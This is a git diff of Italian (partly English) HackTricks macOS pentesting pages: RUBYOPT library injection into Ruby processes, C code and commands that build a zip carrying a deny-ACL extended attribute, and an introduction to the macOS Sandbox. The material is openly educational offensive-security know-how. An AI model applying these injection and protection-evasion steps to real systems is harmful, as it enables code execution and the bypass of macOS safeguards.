* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# Iniezione di applicazioni Ruby su macOS
|
# macOS Ruby Applications Injection
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## RUBYOPT
|
## RUBYOPT
|
||||||
|
|
||||||
Utilizzando questa variabile di ambiente è possibile **aggiungere nuovi parametri** a **ruby** ogni volta che viene eseguito. Anche se il parametro **`-e`** non può essere utilizzato per specificare il codice ruby da eseguire, è possibile utilizzare i parametri **`-I`** e **`-r`** per aggiungere una nuova cartella al percorso di caricamento delle librerie e quindi **specificare una libreria da caricare**.
|
Utilizzando questa variabile d'ambiente è possibile **aggiungere nuovi parametri** a **ruby** ogni volta che viene eseguito. Anche se il parametro **`-e`** non può essere utilizzato per specificare il codice ruby da eseguire, è possibile utilizzare i parametri **`-I`** e **`-r`** per aggiungere una nuova cartella al percorso delle librerie da caricare e poi **specificare una libreria da caricare**.
|
||||||
|
|
||||||
Crea la libreria **`inject.rb`** in **`/tmp`**:
|
Crea la libreria **`inject.rb`** in **`/tmp`**:
|
||||||
|
|
||||||
|
@ -34,24 +35,25 @@ puts 'Hello, World!'
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Quindi crea uno script ruby arbitrario e caricalo con:
|
Quindi fai caricare a uno script ruby arbitrario con:
|
||||||
```bash
|
```bash
|
||||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||||||
```
|
```
|
||||||
Fatto divertente, funziona anche con il parametro **`--disable-rubyopt`**:
|
Fun fact, funziona anche con il parametro **`--disable-rubyopt`**:
|
||||||
```bash
|
```bash
|
||||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,30 @@
|
||||||
# macOS xattr-acls extra stuff
|
# macOS xattr-acls extra stuff
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in formato PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
```bash
|
||||||
|
rm -rf /tmp/test*
|
||||||
|
echo test >/tmp/test
|
||||||
|
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
||||||
|
./get_acls test
|
||||||
|
ACL for test:
|
||||||
|
!#acl 1
|
||||||
|
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||||
|
|
||||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||||
|
```
|
||||||
````
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Codice di get_acls</summary>
|
<summary>Codice di get_acls</summary>
|
||||||
|
@ -61,47 +67,103 @@ acl_free(acl);
|
||||||
acl_free(acl_text);
|
acl_free(acl_text);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
````
|
```
|
||||||
|
</details>
|
||||||
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
|
```bash
|
||||||
|
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||||
|
mkdir start
|
||||||
|
mkdir start/protected
|
||||||
|
./set_xattr start/protected
|
||||||
|
echo something > start/protected/something
|
||||||
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Codice di set_xattr</summary>
|
<summary>Codice di set_xattr</summary>
|
||||||
|
```c
|
||||||
|
// gcc -o set_xattr set_xattr.c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/xattr.h>
|
||||||
|
#include <sys/acl.h>
|
||||||
|
|
||||||
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
|
||||||
|
|
||||||
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
void print_xattrs(const char *filepath) {
|
||||||
|
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
||||||
|
if (buflen < 0) {
|
||||||
|
perror("listxattr");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
char *buf = malloc(buflen);
|
||||||
|
if (buf == NULL) {
|
||||||
|
perror("malloc");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
||||||
|
if (buflen < 0) {
|
||||||
|
perror("listxattr");
|
||||||
|
free(buf);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
printf("All current extended attributes for %s:\n", filepath);
|
||||||
|
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
||||||
|
printf("%s: ", name);
|
||||||
|
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
||||||
|
if (valuelen < 0) {
|
||||||
|
perror("getxattr");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
char *value = malloc(valuelen + 1);
|
||||||
|
if (value == NULL) {
|
||||||
|
perror("malloc");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
||||||
|
if (valuelen < 0) {
|
||||||
|
perror("getxattr");
|
||||||
|
free(value);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
value[valuelen] = '\0'; // Null-terminate the value
|
||||||
|
printf("%s\n", value);
|
||||||
|
free(value);
|
||||||
|
}
|
||||||
|
|
||||||
free(buf); }
|
free(buf);
|
||||||
|
}
|
||||||
|
|
||||||
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
|
||||||
|
|
||||||
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
int main(int argc, char *argv[]) {
|
||||||
|
if (argc != 2) {
|
||||||
|
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
||||||
|
const char *filepath = argv[1];
|
||||||
|
|
||||||
print\_xattrs(filepath);
|
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
||||||
|
if (result == 0) {
|
||||||
|
printf("Extended attribute set successfully.\n\n");
|
||||||
|
} else {
|
||||||
|
perror("setxattr");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
return 0; }
|
print_xattrs(filepath);
|
||||||
|
|
||||||
````
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
{% code overflow="wrap" %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Create appledoublefile with the xattr entitlement
|
# Create appledoublefile with the xattr entitlement
|
||||||
ditto -c -k start protected.zip
|
ditto -c -k start protected.zip
|
||||||
|
@ -115,10 +177,24 @@ rm -rf protected.zip
|
||||||
zip -r protected.zip protected ._protected
|
zip -r protected.zip protected ._protected
|
||||||
rm -rf protected
|
rm -rf protected
|
||||||
rm ._*
|
rm ._*
|
||||||
````
|
```
|
||||||
|
{% endcode %}
|
||||||
|
```bash
|
||||||
|
# Check if it worked
|
||||||
|
ditto -x -k --rsrc protected.zip .
|
||||||
|
xattr -l protected
|
||||||
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
|
<details>
|
||||||
|
|
||||||
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,35 +1,36 @@
|
||||||
# Sandbox di macOS
|
# macOS Sandbox
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repository di GitHub**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di base
|
## Basic Information
|
||||||
|
|
||||||
Il Sandbox di macOS (inizialmente chiamato Seatbelt) **limita le applicazioni** in esecuzione all'interno del sandbox alle **azioni consentite specificate nel profilo del Sandbox** con cui l'app viene eseguita. Ciò aiuta a garantire che **l'applicazione acceda solo alle risorse previste**.
|
MacOS Sandbox (inizialmente chiamato Seatbelt) **limita le applicazioni** in esecuzione all'interno della sandbox alle **azioni consentite specificate nel profilo Sandbox** con cui l'app è in esecuzione. Questo aiuta a garantire che **l'applicazione accederà solo alle risorse previste**.
|
||||||
|
|
||||||
Qualsiasi app con l'**abilitazione** **`com.apple.security.app-sandbox`** verrà eseguita all'interno del sandbox. **I binari di Apple** di solito vengono eseguiti all'interno di un Sandbox e per poterli pubblicare nell'**App Store**, **questa abilitazione è obbligatoria**. Quindi la maggior parte delle applicazioni verrà eseguita all'interno del sandbox.
|
Qualsiasi app con l'**entitlement** **`com.apple.security.app-sandbox`** verrà eseguita all'interno della sandbox. **I binari Apple** vengono solitamente eseguiti all'interno di una Sandbox e per pubblicare all'interno dell'**App Store**, **questo entitlement è obbligatorio**. Quindi, la maggior parte delle applicazioni verrà eseguita all'interno della sandbox.
|
||||||
|
|
||||||
Per controllare cosa un processo può o non può fare, il **Sandbox ha hook** in tutte le **syscall** del kernel. **A seconda** delle **abilitazioni** dell'app, il Sandbox **permetterà** determinate azioni.
|
Per controllare cosa un processo può o non può fare, la **Sandbox ha hook** in tutte le **syscall** nel kernel. **A seconda** degli **entitlements** dell'app, la Sandbox **consentirà** determinate azioni.
|
||||||
|
|
||||||
Alcuni componenti importanti del Sandbox sono:
|
Al alcuni componenti importanti della Sandbox sono:
|
||||||
|
|
||||||
* L'**estensione del kernel** `/System/Library/Extensions/Sandbox.kext`
|
* L'**estensione del kernel** `/System/Library/Extensions/Sandbox.kext`
|
||||||
* Il **framework privato** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
* Il **framework privato** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||||
* Un **daemon** in esecuzione in userland `/usr/libexec/sandboxd`
|
* Un **daemon** in esecuzione in userland `/usr/libexec/sandboxd`
|
||||||
* I **contenitori** `~/Library/Containers`
|
* I **contenitori** `~/Library/Containers`
|
||||||
|
|
||||||
All'interno della cartella dei contenitori è possibile trovare **una cartella per ogni app eseguita all'interno del sandbox** con il nome dell'ID del bundle:
|
All'interno della cartella dei contenitori puoi trovare **una cartella per ogni app eseguita in sandbox** con il nome dell'id del bundle:
|
||||||
```bash
|
```bash
|
||||||
ls -l ~/Library/Containers
|
ls -l ~/Library/Containers
|
||||||
total 0
|
total 0
|
||||||
|
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
||||||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
All'interno di ogni cartella dell'ID del bundle è possibile trovare il file **plist** e la directory **Data** dell'app:
|
All'interno di ogni cartella dell'ID bundle puoi trovare il **plist** e la **directory Data** dell'App:
|
||||||
```bash
|
```bash
|
||||||
cd /Users/username/Library/Containers/com.apple.Safari
|
cd /Users/username/Library/Containers/com.apple.Safari
|
||||||
ls -la
|
ls -la
|
||||||
|
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
||||||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Nota che anche se i symlink sono presenti per "uscire" dalla Sandbox e accedere ad altre cartelle, l'App ha comunque bisogno di **avere le autorizzazioni** per accedervi. Queste autorizzazioni sono all'interno del file **`.plist`**.
|
Nota che anche se i symlink sono presenti per "uscire" dal Sandbox e accedere ad altre cartelle, l'App deve comunque **avere permessi** per accedervi. Questi permessi sono all'interno del **`.plist`**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```bash
|
```bash
|
||||||
# Get permissions
|
# Get permissions
|
||||||
|
@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Tutto ciò che viene creato/modificato da un'applicazione Sandbox avrà l'attributo **quarantine**. Questo impedirà uno spazio sandbox attivando Gatekeeper se l'app sandbox prova ad eseguire qualcosa con **`open`**.
|
Tutto ciò che viene creato/modificato da un'applicazione in Sandbox riceverà l'**attributo di quarantena**. Questo impedirà a uno spazio sandbox di attivare Gatekeeper se l'app sandbox tenta di eseguire qualcosa con **`open`**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Profili Sandbox
|
### Profili Sandbox
|
||||||
|
|
||||||
I profili Sandbox sono file di configurazione che indicano cosa è **permesso/vietato** in quella **Sandbox**. Utilizzano il **Sandbox Profile Language (SBPL)**, che utilizza il linguaggio di programmazione [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
|
I profili Sandbox sono file di configurazione che indicano cosa sarà **consentito/vietato** in quel **Sandbox**. Utilizza il **Sandbox Profile Language (SBPL)**, che utilizza il linguaggio di programmazione [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
|
||||||
|
|
||||||
Qui puoi trovare un esempio:
|
Qui puoi trovare un esempio:
|
||||||
```scheme
|
```scheme
|
||||||
|
@ -140,26 +141,28 @@ Qui puoi trovare un esempio:
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Controlla questa [**ricerca**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **per controllare altre azioni che potrebbero essere consentite o negate.**
|
Controlla questa [**ricerca**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **per verificare ulteriori azioni che potrebbero essere consentite o negate.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Importanti **servizi di sistema** vengono eseguiti all'interno del proprio **sandbox personalizzato**, come ad esempio il servizio `mdnsresponder`. Puoi visualizzare questi **profilo sandbox personalizzati** all'interno di:
|
